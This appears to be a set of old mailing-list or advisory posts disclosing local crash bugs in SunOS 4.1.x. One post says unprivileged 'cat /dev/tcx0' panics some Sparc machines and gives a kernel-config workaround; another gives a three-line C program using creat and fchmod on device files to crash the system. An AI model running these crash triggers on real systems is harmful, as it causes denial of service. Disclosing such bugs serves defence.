If you try to read /dev/tcx0 on a SunOS 4.1.4 Sparc 20 
(it didn't work on a 10),
you will cause a system panic.  How do you read it, you ask?
Simply "cat /dev/tcx0" or "ls /dev/tcx0/*".  You don't need special
privileges to use it.


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This will also crash s Sparc 5.


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Work around:
1. Install tcx frame buffer.
2. Edit GENERIC file as below and create new kernel.
< device-driver tcx             # 24-bit accelerated color frame buffer
---
> #device-driver        tcx             # 24-bit accelerated color frame buffer



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SunOS 4.1.x crash

I found the following three-liner to crash SunOS 4.1.x.  It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.

main(int argc, char *argv[]) {
  int fd;

  fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
  if (fd < 0) perror("creat"), exit(1);
  fchmod(fd, 0755);             /* BOOM */
}



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